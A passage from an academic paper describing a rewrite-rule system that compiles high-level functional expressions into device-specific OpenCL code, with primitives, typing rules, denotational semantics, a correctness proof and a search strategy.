to many hardware-specific details. As a result, programming be-
comes complex, time-consuming, and error prone.

Several high-level programming models have been proposed
to tackle the programmability issue and shield programmers from
low-level hardware details. High-level dataflow programming lan-
guage such as StreamIt [25] and LiquidMetal [19] allow the pro-
grammer to easily express different implementations at the algo-
rithm level. Nvidia’s NOVA [12] language takes a more functional
approach in which higher-order functions such as map and reduce
are expressed as primitives recognized by the backend compiler.
Similarly, Accelerate [9] allows the programmer to write high-level
functional code in a DSL embedded in Haskell, and automatically
generate CUDA code for the GPU. For instance, the parallel reduce
discussed earlier would be written in Accelerate as:

sum xs = fold (+) 0 (use xs)
These kind of approaches hide the complexity of parallelism

and low-level optimizations from the user. However, they rely on
hard-coded device-specific implementations or heuristics to drive
the optimization process. When targeting different devices, the li-
brary implementation or backend compiler has to be re-tuned or
even worst re-engineered. In order to address the performance
portability issue, we aim to develop mechanisms that can effec-
tively explore device-specific optimizations. The core idea is not
to commit to a specific implementation or set of optimizations but
instead to let a tool automate the process.

In this paper we present an approach which compiles a high-
level functional expression – similar to the one written in Accel-
erate – into highly optimized device-specific OpenCL code. We
show that we achieve performance on a par with expert-written
implementations on an Intel multicore CPU, an AMD GPU, and
an Nvidia GPU. Central to our approach is a set of rewrite rules
that systematically translate high-level algorithmic concepts into
low-level hardware paradigms, both expressed in a functional style.
The rewrite rules are based on the kind of algebraic reasoning
well-known to functional programmers, and pioneered by Bird [5]
and others in the 1980s. They are used to systematically transform
programs into a low-level representation, from which high perfor-
mance code is generated automatically.

The power of our technique lies in the rewrite rules, written once
by an expert system designer. These rules encode the different al-
gorithmic choices and low-level hardware specific optimizations.
The rewrite rules play the dual role of enabling the composition
of high-level algorithmic concepts and enabling the mapping of
these onto hardware paradigms, but also critically provide correct-
ness preserving exploration of the implementation space. The rules
enable a clear separation of concerns between high-level algorith-
mic concepts and low-level hardware paradigms while using a uni-
fied framework. The defined implementation space is automatically
searched to produce high performance code.
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OpenCL Program
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Algorithmic Primitives

Low-level Expression
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Hardware optimizations
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Figure 2: The programmer expresses the problem with high-level
algorithmic primitives. These are systematically transformed into
low-level primitives using a rule rewriting system. OpenCL code
is generated by mapping the low-level primitives directly to the
OpenCL programming model representing hardware paradigms.

This paper demonstrates that our approach yields high-performance
code with OpenCL as our target hardware platform. We compare
the performance of our approach with highly-tuned linear algebra
functions extracted from state-of-the-art libraries and with bench-
marks such as BlackScholes. We express them as compositions of
high-level algorithmic primitives which are systematically mapped
to low-level OpenCL primitives.

The primary contributions of our paper are as follows:

• a collection of high-level functional algorithmic primitives
for the programmer and low-level functional OpenCL primi-
tives representing the OpenCL programming model;

• a core dependently-typed calculus and denotational semantics;
• a set of rewrite rules that systematically express algorithmic

and optimization choices, bridging the gap between high-level
functional programs and OpenCL;

• proofs of the soundness of the rewrite rules with respect to the
denotational semantics;

• achieving performance portability by systematically applying
rewrite rules to yield device-specific implementations, with per-
formance on a par with the best hand-tuned versions.

The remainder of the paper is structured as follows. Section 2
provides an overview of our technique. Sections 3 and 4 present
our functional primitives and rewrite rules. Section 5 presents a
core language and denotational semantics, which we use to jus-
tify the rewrite rules. Section 6 explains our automatic search strat-
egy, while Section 7 introduces our benchmarks. Our experimental
setup and performance results are shown in Sections 8 and 9. Fi-
nally, Section 10 discusses related work and Section 11 concludes.

2. Overview
The overview of our approach is presented in Figure 2. The pro-
grammer writes a high-level expression composed of algorithmic
primitives. Using rewriting rules, we map this high-level expres-
sion into a low-level expression consisting of OpenCL primitives. In
the rewriting stage, different algorithmic and optimization choices
can be explored. The generated low-level expression is then fed
into our code generator that emits an OpenCL program compiled
to machine code by the vendor provided OpenCL compiler.
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λ xs . map (λ x . x ∗ 3) xs

(a) High-level expression written by the programmer.

rewrite rules

λ xs . (join ◦ mapWorkgroup (joinVec ◦
mapLocal (mapVec (λ x . x ∗ 3))

◦ splitVec 4) ◦ split 1024) xs

(b) Low-level expression derived using rewrite rules and search.

code generator

1 int4 mul3(int4 x) { return x * 3; }
2 kernel vectorScal(global int* in,out, int len){
3 for (int i=get_group_id; i < len/1024;
4 i+=get_num_groups) {
5 global int* grp_in = in+(i*1024);
6 global int* grp_out = out+(i*1024);
7 for (int j=get_local_id; j < 1024/4;
8 j+=get_local_size) {
9 global int4* in_vec4 =(int4*)grp_in+(j*4);

10 global int4* out_vec4=(int4*)grp_out+(j*4);
11 *out_vec4 = mul3(*in_vec4);
12 } } }

(c) OpenCL program produced by our code generator.

Figure 3: Pseudo-code representing vector scaling. The user maps
a function multiplying an element by 3 over the input array (a). This
high-level expression is transformed into a low-level expression (b)
using rewrite rules in a search process. Finally, our code generator
turns the low-level expression into an OpenCL program (c).

We illustrate the mechanisms of our approach using a simple
vector scaling example shown in Figure 3. The user expresses
the computation by writing a high-level expression using the map
primitive as shown in Figure 3a. Our expressions are glued together
with lambda abstractions and function composition; we formally
define the syntax in Section 5.

Our technique first rewrites the high-level expression into a
low-level expression closer to the OpenCL programming model.
This is achieved by applying the rewrite rules presented later in
Section 4 possibly using an automatic search strategy discusses in
Section 6. Figure 3b shows one possible derivation of the original
high-level expression. Starting from the last line, the input (xs) is
split into chunks of 1024 elements. Each chunk is mapped onto a
group of threads, called workgroup, with the mapWorkgroup low-
level primitive. Within a workgroup, we group 4 elements into a
SIMD vector, each mapped to a local thread inside a workgroup
via the mapLocal primitive. Finally, the mapVec primitive applies
the vectorized form of the user defined function. The exact meaning
of our primitives will be given later in Section 3.

The last step consists of traversing the low-level expression
and generating OpenCL code for each low-level primitive encoun-
tered (Figure 3c). The two map primitives generate the for-loops
(line 3–4 and 7–8) that iterate over the input array assigning work
to the workgroups and local threads. The information of how many
chunks each workgroup and thread processes comes from the corre-
sponding split. In line 11 the vectorized version of the user defined
function (mul3 defined in line 1) is finally applied to the input array.

To summarize, our approach is able to generate OpenCL code
starting from a high-level program representation. This is achieved
by systematically transforming the high-level expression into a
low-level form suitable for code generation using an automated
search process.

mapA,B,I : (A→ B)→ [A]I → [B]I
zipA,B,I : [A]I → [B]I → [A×B]I

reduceA,I : ((A×A)→ A)→ A→ [A]I → [A]1
splitA,I : (n : size)→ [A]n×I → [[A]n]I

joinA,I,J : [[A]I ]J → [A]I×J
iterateA,I,J : (n : size)→ ((m : size)→ [A]I×m → [A]m)→

[A]In×J → [A]J
reorderA,I : [A]I → [A]I

Figure 4: High-level algorithmic primitives.

3. Algorithmic and OpenCL Primitives
A key idea of this paper is to expose algorithmic choices and
hardware-specific program optimizations in a functional style. This
allows for systematic transformations using a collection of rewrite
rules (Section 4). The high-level algorithmic primitives can either
be used by the programmer directly, as a stand-alone language (or
embedded DSL), or be used as an intermediate representation tar-
geted by another language. Once a program is represented by our
high-level primitives, we can automatically transform it into low-
level hardware primitives. These represent hardware-specific fea-
tures in a programming model such as OpenCL, the target chosen
for this paper. Following the same approach, a different set of low-
level primitives might be designed to target other low-level pro-
gramming models such as MPI.

In this section we give a high-level account of the primitives;
Section 5 gives a more formal account. Figure 4 and 5 present our
algorithmic and OpenCL primitives. The type system we present
here is monomorphic (largely to keep the formal presentation in
Section 5 simple), however, we do rely on a restricted form of
dependent types. The only kind of type-dependency we allow is
for array types, whose size may depend on a run-time value. Type
inference is beyond the scope of this paper, but in the future we
intend to apply ideas from systems such as DML [45] to our setting.

We let I range over sizes. A size can be a size variable m,n, a
natural number i, or a product I × J or power IJ of sizes I and J .
We letA,B range over types. We writeA→ B for a function from
type A to type B and (n : size) → B for a dependent function
from size n to type B (where B may include array types whose
sizes depend on n). We write A × B for the product of types A
and B and 1 for the unit type. We write [A]I for an array of size
I with elements of type A. The primitives are annotated with type
and size subscripts. Thus, formally each one actually represents a
type-indexed family of primitives. We often omit subscripts when
they are not relevant or can be trivially inferred.

3.1 Algorithmic Primitives
As in Accelerate [9, 30], we deliberately restrict ourselves to a
set of primitives for which we know that high performance CPU
and GPU implementations exist. In contrast to Accelerate, we al-
low nesting of primitives to express nested parallelism. Nesting of
arrays is used to represent multi-dimensional data structures like
matrices. Figure 4 presents the high-level primitives used to define
programs at the algorithmic level. The map and zip primitives are
standard.

The reduce primitive is a special case of a fold returning a single
reduced element in an array of size 1. We assume the supplied
function is associative and commutative in order to admit efficient
parallel implementations. Returning the result as an array with a
single element allows for a more compositional design, in which
our primitives operate on arrays rather than scalar values.
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mapWorkgroupA,B,I : (A→ B)→ [A]I → [B]I
mapLocalA,B,I : (A→ B)→ [A]I → [B]I

mapGlobalA,B,I : (A→ B)→ [A]I → [B]I
mapSeqA,B,I : (A→ B)→ [A]I → [B]I

toLocalA,B : (A→ B)→ (A→ B)
toGlobalA,B : (A→ B)→ (A→ B)

reduceSeqA,B,I : ((A×B)→ A)→ A→ [B]I → [A]1
reducePartA,I : ((A×A)→ A)→ A→ (n : size)→

[A]I×n → [A]n
reorderStrideA,I : (n : size)→ [A]n×I → [A]n×I

mapVecA,B,I : (A→ B)→ 〈A〉I → 〈B〉I
splitVecA,I : (n : size)→ [A]n×I → [〈A〉n]I

joinVecA,I,J : [〈A〉I ]J → [A]I×J

Figure 5: Low-level OpenCL primitives used for code generation.

The split and join primitives transform the shape of array data.
The expression split n xs transforms array xs of size n × I , with
elements of type A, into an array of size I with elements that are
A arrays of size n; join is the inverse of split. (In practice A itself
may be an array type, in which case we can view split as adding a
dimension to and join as subtracting a dimension from a matrix.)

The iterate primitive repeatedly applies a given function. The
expression iteraten f applies the function f repeatedly n times.
The type of iterate is instructive. The function f may change the
length of the processed array at each iteration step. We currently
restrict the length to stay the same or shrink in each iteration by a
fixed factor (given by the implicit subscript I), which is sufficient
to express, e.g., iterative reduce (see Section 4). We intend to lift
this restriction in the future, which will probably require a richer
type system. Given n the type of iterate expresses that the input
array will shrink by a factor of In.

Finally, the reorder primitive allows the programmer to express
that the order of elements in an array is unimportant, allowing
a number of useful optimizations—as we will see in Section 4.
This primitive bares obvious similarities to the unordered operation
of the Ferry query language [21], which asserts that the order of
elements in a list is unimportant.

3.2 OpenCL-specific Primitives
In order to achieve high performance on manycore CPUs and
GPUs, programmers often use a set of rules of thumb to drive
the optimization of their application. Each hardware vendor pro-
vides optimization guides [1, 31] that extensively cover hardware
idiosyncrasies and optimizations. The main idea behind our work
is to identify common optimization patterns and express them with
the help of low-level primitives coupled with a rewrite system. Fig-
ure 5 lists the OpenCL-specific primitives we have identified.

Maps Each mapX primitive has the same high-level semantics
as plain map, but represents a specific way of mapping computa-
tions to the hardware and exploiting parallelism in OpenCL. The
mapWorkgroup primitive assigns work to a group of threads, called
workgroup in OpenCL, with every workgroup applying the given
function on an element of the input array. Similarly, the mapLocal
primitive assigns work to a local thread inside a workgroup. As
workgroups are optional in OpenCL mapGlobal assigns work to a
thread not organized in a workgroup. This allows us to map com-
putations in different ways to the thread hierarchy. The mapSeq
primitive performs a sequential map within a single thread.

Generating OpenCL code for all of these primitives is simi-
lar; we describe this using mapWorkgroup as an example. A loop
is generated, where the iteration variable is determined by the

workgroup-id function from the OpenCL API. Inside the loop, a
pointer is generated to partition the input array, so that every work-
group calls the given function f on a different chunk of data. An
output pointer is generated similarly. We continue with the body of
the loop by generating the code for the function f recursively. Fi-
nally, an appropriate synchronization mechanism is added for the
given map primitive. For instance, after a mapLocal we add a bar-
rier synchronization for the threads inside the workgroup.

Local/Global The toLocal and toGlobal primitives are used to
determine where the result of the given function f should be
stored. OpenCL defines two distinct address spaces: global and
local. Global memory is the commonly used large but slow mem-
ory. On GPUs, the small local memory has a high bandwidth with
low latency and is used to store frequently accessed data or for effi-
cient communication between local threads (shared memory). With
these two primitives, we can in effect exploit the memory hierar-
chy defined in OpenCL. These primitives act similarly to a typecast
(their high-level semantics is that of the identity function) and are
in fact implemented as such, so that no code is emitted directly. We
check for incorrect use of these primitives in our implementation.
For example, the implementation checks that a toLocal primitive is
eventually followed by a toGlobal primitive to ensure that the final
result is copied back into global memory, as required by OpenCL.
We plan to extend our type system in the future to track the memory
location of arrays using an effect system.

In our design, every function reads its input and writes its output
using pointers provided by the callee function. As a result, we can
force a store to local memory by wrapping any function with the
toLocal function. In the code generator, this will simply change the
output pointer of function f to an area in local memory.

Sequential Reduce The reduceSeq primitive performs a sequen-
tial reduce within a single thread. The generated code consists of
an accumulation variable which is initialized with the given initial
value. A loop is generated iterating over the array and calling the
given function which stores its intermediate result in the accumu-
lation variable. Note, that we require the function passed to reduce
to be associative and commutative in order to enable an efficient
parallel implementation. We do not impose the same restriction for
the reduceSeq function, as here we guarantee a sequential order of
execution; thus reduceSeq has a more general type.

Partial Reduce The reducePart primitive performs a partial re-
duce, i.e., an array of n elements is reduced to an array of m el-
ements where 1 ≤ m ≤ n. While not directly used to generate
OpenCL code, reducePart is useful as an intermediate representa-
tion for deriving different implementations of reduce as we will see
in the next section.

Reorder Stride The high-level semantics of reorderStrideA,I n
is just like reorderA,I . The low-level implementation actually per-
forms a specific reordering in which the array is reordered with a
stride n, that is, element i is mapped to element i/I+n∗ (i%I). In
the generated OpenCL code this primitive ensures that after split-
ting the workload, consecutive threads access consecutive mem-
ory elements (i.e., coalesce memory access), which is beneficial on
modern GPUs as it maximizes memory bandwidth.

Our implementation does not produce code directly, but gener-
ates instead an index function, which is used when accessing the
array the next time. While beyond the scope of this paper, our de-
sign supports user-defined index functions as well.

Vectorization The OpenCL programming model supports SIMD
vector data types such as int4 where any operations on this type
will be executed in the hardware vector units. In the absence of
vector units in the hardware, the OpenCL compiler scalarizes the
code automatically.
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iterate (I + J) M → iterate I M ◦ iterate J M
(a) Iterate decomposition rule

map M ◦ reorder → reorder ◦ map M
reorder ◦ map M → map M ◦ reorder

(b) Reorder commutativity rules

mapA,B,I×J M → joinB,I,J ◦ map (map M) ◦ splitA,J I
(c) Split-join rule

reduceA,I×JM N →
reduceA,JM N ◦ reducePartA,IM N J

reducePartA,IM N 1 → reduceA,IM N

reducePartA,IM N J → reducePartA,IM N J ◦ reorder
reducePartA,IK M N J →

iterateA,I,J K (reducePartA,IM N)

reducePartA,IM N (J ×K) →
join ◦ map (reducePartM N J) ◦ splitA,K (I × J)

(d) Reduce rules

join ◦ split I | splitA,J I ◦ joinA,I,J → id

joinVec ◦ splitVec I | splitVecA,J I ◦ joinVecA,I,J → id

(e) Cancellation rules

map M ◦ map N → map (M ◦ N)

reduceSeq M N ◦mapSeq P →
reduceSeq (λ(acc, x).M (acc, P x)) N

(f) Fusion rules

Figure 6: Algorithmic rules. Bold functions are known to the code
generator.

At a high-level, vectors are just a special case of arrays. We
write 〈A〉I for the type of a vector of size I with elements of type
A. The mapVec, splitVec, and joinVec primitives behave just like the
corresponding operations on arrays, though at a low-level they are
of course compiled differently. Concretely, the mapVec primitive
vectorizes a function by simply converting all of its operations that
apply to vector types into vectorized operations. Our current im-
plementation can only vectorize functions containing simple arith-
metic operations such as + or −. For more complex functions, we
rely on external tools [27] for vectorizing the operations, without
performing further analysis.

4. Rewrite Rules
This section presents our rewrite rules, which transform high-level
expressions written using the algorithmic primitives into semanti-
cally equivalent expressions. One goal of our approach is to keep
each rule as simple as possible and only express one fundamental
concept at a time. For instance the vectorization rule, as we will
see, is the only place where we express vectorization. This con-
trasts with many prior approaches that provide special vectorized
versions of different algorithmic primitives such as map and reduce.
Many rules can be applied successively to produce expressions that
compose hardware concepts or optimizations. In Section 5 we show
that the rules are sound. The rules are only valid given that they re-
spect the types involved.

As with the primitives, we distinguish between algorithmic and
low-level rules. Algorithmic rules produce derivations that repre-
sent the different algorithmic choices and are shown in Figure 6.

map M → mapWorkgroup M | mapLocal M
| mapGlobal M | mapSeq M

(a) Map rules

reduceA,I M N → reduceSeqA,A,I M N

(b) Reduce rule

reorderA,I×J → reorderStrideA,J I | id

(c) Stride accesses or normal accesses rules

mapLocal M → toGlobal (mapLocal M)
mapLocal M → toLocal (mapLocal M)

(d) Local/Global memory rules

mapA,B,I×J M →
joinVecB,I,J ◦ mapA,B,J (mapVecA,B,I M) ◦ splitVecA,J I

(e) Vectorization rule

Figure 7: OpenCL-specific rules. Bold functions are known to the
code generator.

Figure 7 shows our OpenCL-specific rules which map expressions
to OpenCL primitives. Once an expression is in its lowest-level
form, it is possible to produce OpenCL code for each single prim-
itive easily with our code generator as described in the previous
section.

4.1 Algorithmic Rules
Iterate Decomposition Rule The rule 6a expresses the fact that
an iteration can be decomposed into several iterations.

Reorder Commutativity Rule Figure 6b shows that if the data can
be reordered arbitrarily it does not matter if we apply a function f
to each element before or after the reordering.

Split-Join Rule The split-join rule in Figure 6c partitions a map
into two maps. This allows us to nest map primitives in each other
and, thus, maps the computation to the thread hierarchy of the
OpenCL programming model.

Reduce Rules The reduce rules of Figure 6d decompose applica-
tions of the reduce function and the partial reduce function.

• A reduce can be decomposed into a partial reduce combined
with a full reduce.

• A partial reduce can be turned back into a full reduce if it yields
a single element.

• A partial reduce can be reordered, exploiting the restriction of
reducePart to commutative functions.

• A partial reduce can be decomposed into an iteration of a
smaller instance of the same partial reduce. This idea is impor-
tant when considering how the reduce function is commonly
implemented on a GPU (iteratively reducing within a work-
group using the local memory).

• A partial reduce can split the input elements, reduce them inde-
pendently, and then join them back together. This final case is
actually the only place where parallelism is made explicit in the
reduce rules. It exploits the restriction of reducePart to associa-
tive functions.

Cancellation Rules Figure 6e shows our cancellation rules. They
express the fact that consecutive split-join pairs and splitVec-
joinVec pairs are equivalent to the identity.
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Fusion Rules Finally, our fusion rules are shown in Figure 6f.
The first rule fuses the functions applied by two consecutive maps.
The second rule fuses the map-reduce pattern by creating a lambda
abstraction that is the result of merging functions f and g from
the original reduce and map respectively. This rule only applies
to the sequential version since this is the only implementation not
requiring the associativity property required by the more generic
reduce primitive. When generating code, these rules in effect allow
us to fuse the implementation of different functions and avoid hav-
ing to store temporary results. The functional programming com-
munity has studied more sophisticated and generic rules for fu-
sion [13, 26, 30]. However, for our current restricted set of bench-
marks our simpler fusion rules have proven to be sufficient. We
intend to incorporate related work into our approach in the future.

4.2 OpenCL-Specific Rules
Figure 7 shows our OpenCL-specific rules that are used to apply
OpenCL optimizations and to lower high-level concepts down to
OpenCL-specific ones. Primitives that are known to the code gen-
erator are shown in bold.

Map Rules The rule in Figure 7a is used to produce OpenCL-
specific map implementations that match the OpenCL thread hier-
archy. Our implementation maintains context information to ensure
the OpenCL thread hierarchy is respected. For instance, it is only
legal to nest a mapLocal inside a mapWorkgroup and it is not legal
to nest two mapLocal in each other.

Reduce Rule There is only one low-level rule for reduce (Fig-
ure 7b), which expresses the fact that the only implementation
known to the code generator is a sequential reduce. Parallel im-
plementations are defined at a higher level by composition of other
algorithmic primitives. Most existing approaches treat the reduce
directly as a fixed primitive operation. With our approach it is pos-
sible to explore different implementations for reduce by simply ap-
plying different rules.

Reorder Rule Figure 7c presents the rule that reorders elements
of an array. In our current implementation, we support two types
of reordering: no reordering, represented by the id function, and
reorderStride, which reorders elements with a certain stride n. As
described earlier, the major use case for the stride reorder is to
enable coalesced memory accesses.

Local/Global Rules Figure 7d shows two rules that enable GPU
local memory usage. They express the fact that the result of a
mapLocal can always be stored in local memory or back in global
memory. This holds since a mapLocal always exists within a
mapWorkgroup for which the local memory is defined. These rules
allow us to determine how the data is mapped to the GPU memory
hierarchy and encode the common optimization to load frequently
used data from the slow global into the fast local memory. The
search strategy, discussed in Section 6, applies this rule to explore
opportunities for this optimization.

Vectorization Rule Figure 7e shows the vectorization rule. SIMD
vectorization is a key aspect of modern hardware architectures.
In our approach vectorization is achieved by using the splitVec
and corresponding joinVec primitives, which changes the element
type of an array and adjust the length accordingly. This rule is
only allowed to be applied once to a given map f primitive. This
constraint can easily be checked by looking at the function’s type.

4.3 Summary
In our approach the power of composition allows our rules to pro-
duce complex low-level expressions from simple high-level expres-
sions. Looking back at our example in Figure 3, we see how a sim-
ple algorithmic pattern can effectively be derived into a low-level

expression by applying the rules. This expression matches hard-
ware concepts expressible with OpenCL such as mapping compu-
tation and data to the thread and memory hierarchy. Each single rule
encodes a simple, easy to understand, and provable fact. By com-
position of the rules we systematically derive low-level expressions
which are semantically equivalent to the high-level expressions by
construction. This results in a powerful mechanism to safely ex-
plore the space of possible implementations.

5. Core Language
In this section we formalize a core language for programming
with the primitives of Section 3. We specify a type system and
a denotational semantics for the core language, which we use to
justify the correctness of the rewrite rules of Section 4.

5.1 Typing Rules
Figure 8 presents the typing rules for the core language. The type
schemas for constants are given in Figure 4 in Section 3. A size
environment ∆ is a set of size variables. A type environment Γ is
a map from term variables to types. The judgement ∆ ` I SIZE
states that in size environment ∆ the size I is well-formed. The
judgement ∆ ` A states that in size environment ∆ the type A is
well-formed. The typing judgement ∆; Γ ` M : A states that in
size environment ∆ and type environment Γ, the term M has type
A. The typing rules are straightforward.

5.2 Semantics
We give a set-theoretic denotational semantics for the core lan-
guage. It is presented in Figure 9. Sizes are interpreted straightfor-
wardly as natural numbers. Types are interpreted as sets. We write
F for the set of floating point numbers in the meta language. We
overload some of the type constructors in the object language as the
corresponding set constructors in the meta language, for instance,
X → Y denotes the set of functions from the set X to the set Y .
Size-dependent functions are interpreted as size-dependent func-
tions in the meta language. Arrays are interpreted in the obvious
way as functions from sizes to elements.

Size environments are interpreted as size maps, partial maps
from size variables to natural numbers. Type environments are
interpreted as type maps, partial maps from term variables to sets.

Sizes, types, type environments, terms and primitives are all
interpreted with respect to a partial map ι from size variables to
natural numbers (that is, the interpretation of a size environment).
Similarly, terms are interpreted with respect to a partial map ρ from
term variables to values. We overload λ-abstraction, pairing, and
unit in the obvious way in the meta language.

The interpretation of terms is standard. The interpretations of
the primitives are also quite straightforward. Note that for sim-
plicity we here ascribe a fixed evaluation order to the operation of
reduce, but when we actually apply the rewrite rules we ensure that
the operation is associative and commutative, allowing it to be re-
ordered. The iterate operation supplies a successively smaller size
for each iteration.

We define function composition in the standard way, both in the
object and meta language:

M ◦N ≡ λx.M (N x) f ◦ g ≡ λv.f (g v)

Theorem 1 (Type soundness).

∆; Γ `M : A⇒ JMKJ∆K,(JΓKJ∆K) ∈ JAKJ∆K

Proof. By induction on the derivation ∆; Γ `M : A.

Our core language can be naturally extended to include all of
the primitives of Figures 4 and 5. One can model reorder by lifting
the entire semantics to model non-determinism by returning sets of
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∆ ` I SIZE

IVAR
n ∈ ∆

∆ ` n SIZE
ITIMES

∆ ` I SIZE ∆ ` J SIZE

∆ ` I × J SIZE

INAT
∆ ` i SIZE

IPOWER
∆ ` I SIZE ∆ ` J SIZE

∆ ` IJ SIZE

∆ ` A

TINT
∆ ` int

TFLOAT
∆ ` float

TUNIT
∆ ` 1

TPRODUCT
∆ ` A ∆ ` B

∆ ` A×B TFUN
∆ ` A ∆ ` B

∆ ` A→ B

TFUNI
∆, n ` B

∆ ` (n : size)→ B

TARRAY
∆ ` A ∆ ` I SIZE

∆ ` [A]I

∆; Γ `M : A

VAR
x : A ∈ Γ ∆ ` A

∆; Γ ` x : A
UNIT

∆; Γ ` () : 1

PAIR
∆; Γ `M : A ∆; Γ ` N : B

∆; Γ ` (M,N) : A×B

PROJECT
∆; Γ ` (M,N) : A1 ×A2

∆; Γ `M.i : Ai

LAM
∆; Γ, x : A `M : B ∆ ` A

∆; Γ ` λxA.M : A→ B

APP
∆; Γ `M : A→ B ∆; Γ ` N : A

∆; Γ `M N : B

LAMI
∆, n; Γ `M : B

∆; Γ ` λn.M : (n : size)→ B

APPI
∆; Γ `M : (n : size)→ B ∆ ` I SIZE

∆; Γ `M I : B

Figure 8: Typing Rules for the Core Language

Sizes
JnKι = ι n
JiKι = i

JI × JKι = JIKι × JJKι
JIJKι = JIKJIKι

ι

Types

JintKι = Z
JfloatKι = F

J1Kι = 1
JA×BKι = JAKι × JBKι

JA→ BKι = JAKι → JBKι
J(n : size)→ BKι = (i : N)→ JBKι[n 7→i]

J[A]IKι = [0..JIKι)→ JAKι
Size environments

J·K = ∅
J∆, nK = J∆K[n 7→ N]

Type environments

J·Kι = ∅
JΓ, x : AKι = JΓK[x 7→ JAKι]

Terms
JxKι,ρ = ρ x
J()Kι,ρ = ()

J(M,N)Kι,ρ = (JMKι,ρ, JNKι,ρ)
JM.iKι,ρ = (JMKι,ρ).i

JλxA.MKι,ρ = λv.JMKι,ρ[x 7→v]

JM NKι,ρ = JMKι,ρ JNKι,ρ
Jλn.MKι,ρ = λi.JMKι[n 7→i],ρ

JM IKι,ρ = JMKι,ρ JIKι
Primitives

JmapA,B,IKι,ρ = λf x i. f (x i)
JreduceA,IKι,ρ = λ(⊕) e x i.

(x 0)⊕ ((x 1)⊕ (. . .⊕ (x (JIKι − 1))⊕ e) . . . ))
JzipA,B,IKι,ρ = λx y i. (x i, y i)

JsplitA,I,JKι,ρ = λnx i j. x ((i× n) + j)
JjoinA,I,JKι,ρ = λx i. (x (i/JIKι)) (i%JIKι)

JiterateA,I,JKι,ρ = λn f. f in ◦ . . . ◦ f i2 ◦ f i1
where ij = (JIKι)n−j × JJKι

Figure 9: Denotational Semantics for the Core Language

values rather a single value. Many of the low-level primitives have
the same denotation as the corresponding high-level primitives:

JmapWorkgroupK = JmapLocalK = JmapGlobalK =
JmapSeqK = JmapWorkgroupK = JmapVecK = JmapK

JreduceSeqK = JreduceK
JtoLocalK = JtoGlobalK = λx.x
JsplitVecK = JsplitK
JjoinVecK = JjoinK

The semantics of the remaining two primitives is as follows:

JreducePartA,IKι,ρ = λ(⊕) e n x i.
(x j)⊕ ((x (j + 1))⊕ (. . .⊕ ((x (j + JIKι − 1))⊕ e) . . . ))

where j = i× JIKι
JreorderStrideA,IKι,ρ = λnx i. x (i/JIKι + n× (i%JIKι))
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asumI : [float]I → [float]1
asumI×J = reducefloat,I×J (+) 0 ◦ map abs

6d→ reducefloat,J (+) 0 ◦ reducePartfloat,I (+) 0 J ◦ map abs (1)
6d→ reduce (+) 0 ◦ join ◦ map (reducePart (+) 0 1) ◦ splitfloat,J I ◦ map abs (2)
6c→ reduce (+) 0 ◦ join ◦ map (reducePart (+) 0 1) ◦ split I ◦ join ◦ map (map abs) ◦ split I (3)
6e→ reduce (+) 0 ◦ join ◦ map (reducePart (+) 0 1) ◦ map (map abs) ◦ split I (4)
6f→ reduce (+) 0 ◦ join ◦ map (reducePart (+) 0 1 ◦ map abs) ◦ split I (5)
7a→ reduce (+) 0 ◦ join ◦ map (reducePart (+) 0 1 ◦ mapSeq abs) ◦ split I (6)

6d&7b→ reduce (+) 0 ◦ join ◦ map (reduceSeq (+) 0 ◦ mapSeq abs) ◦ split I (7)
6f→ reduce (+) 0 ◦ join ◦ map (reduceSeq (λ(acc, a).acc + (abs a)) 0) ◦ split I (8)

Figure 10: Derivation of a fused parallel implementation of absolute sum.

5.3 Correctness of Rewrite Rules
Using the denotational semantics along with a small amount of
equational reasoning, it is straightforward to prove the correctness
of the rewrite rules of Section 4. We illustrate the nature of these
proofs by giving a proof for the split-join rule (Figure 6c) as an
example. The proofs for all other rules can be found in [40].

Jjoin ◦ map (map f) ◦ splitnKι,ρ
(definition of J−K and ◦)
= λx i. (x (i/JIKι)) (i%JIKι)

(
λf x i. f (x i) (λx i. (ρ f) (x i)) (λx i j. x (i× (ι n) + j))

)
(β-reduction)
= λx.

(
λi j. (ρ f) (x (i× (ι n) + j)) (i/JIKι) (i%JIKι)

)
(β-reduction)
= λx i. (ρ f) (x (((i/JIKι)× (ι n)) + (i%JIKι)))

(i < JIKι)
= λx i. (ρ f) (x i)

(definition of J−K)
= Jmap fKι,ρ

5.4 Example Use of Rewrite Rules
We now illustrate how the rewrite rules can be applied to derive
optimized implementations. To achieve good performance it is in
general beneficial to avoid storing intermediate results. Our rewrite
rule 6f allows us to apply this principle and fuse two primitives
into one, thus, avoiding intermediate results. Figure 10 shows the
derivation of a fused version of the code for calculating the absolute
sum of an array of numbers, asum, from a high-level expression
written by the programmer. The derivation consists of a sequence
of rewrites. The annotations on rewrites refer to the rules from
Figure 6 and Figure 7.

We begin by applying reduce rules 6d twice: first to decom-
pose reduce into reduce ◦ reducePart (1) and second to expand
reducePart (2). Next we expand map abs (3), deforest the adjacent
split and join (4), and fuse the adjacent maps (5). We now realize
the inner map as a sequential mapSeq (6), and the inner reducePart
as a seqential reduceSeq (7). Finally, we fuse the inner reduceSeq
and mapSeq (8). The resulting expression yields a more efficient
implementation than the original code as the intermediate result
does not need to be materialized.

6. Searching for Good Derivations
We now present an automatic search strategy to find good expres-
sions by applying the rules presented in Section 4.

6.1 Automatic Search
The rules presented earlier define a search space of possible imple-
mentations. In order to find the best possible low-level expressions
for a given target device, we have developed a simple automatic
search strategy based loosely on Bandit-based optimization [17].
Our current search strategy is rather basic and just designed to
prove that it is possible to find good implementations automati-
cally. We envision replacing this exploration strategy in the future
by using machine-learning techniques to avoid having to search the
space at all. However, this is orthogonal to the work presented in
this paper.

Our search strategy starts with the high-level expression and de-
termines all the valid rules that can be applied. We use a Monte-
Carlo method for evaluating the potential impact of each rule by
randomly walking down the search tree. We execute the code gener-
ated from the randomly chosen expressions and measure its perfor-
mance. The rule that promises the best performance following the
Monte-Carlo descent is chosen and the resulting derivation fixed
and used as a starting point for the next random walk. This process
is repeated until we reach a terminal expression. In addition to se-
lecting the rules, we also search at the same time for the parameters
controlling our primitives such as the parameter for the split n. We
limit the choices for these numerical parameters to a reasonable set
appropriate for our test hardware.

In order to speed up the search process, we incorporate macro
rules to guide the optimization process more efficiently. Macro
rules are rules which perform multiple small steps at once by
applying a set of rules in a predefined order. One example of
such a macro rule is the fusion of map and reduce as discussed in
Figure 10. While not strictly necessary, these macro rules provide
shortcuts for the most commonly used sequences of derivations.

6.2 Found Expressions
Figure 11 shows several low-level expressions found by applying
the automatic search technique described in Section 6.1. We started
from the high-level expression for the sum of absolute use-case
(asum) and tested it on two GPUs and one CPU (described later
in Section 8). We can make several important observations. First,
in all of the expressions the fusion macro rule merging map and
reduce was applied. The second observation is that none of the
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(a) Nvidia
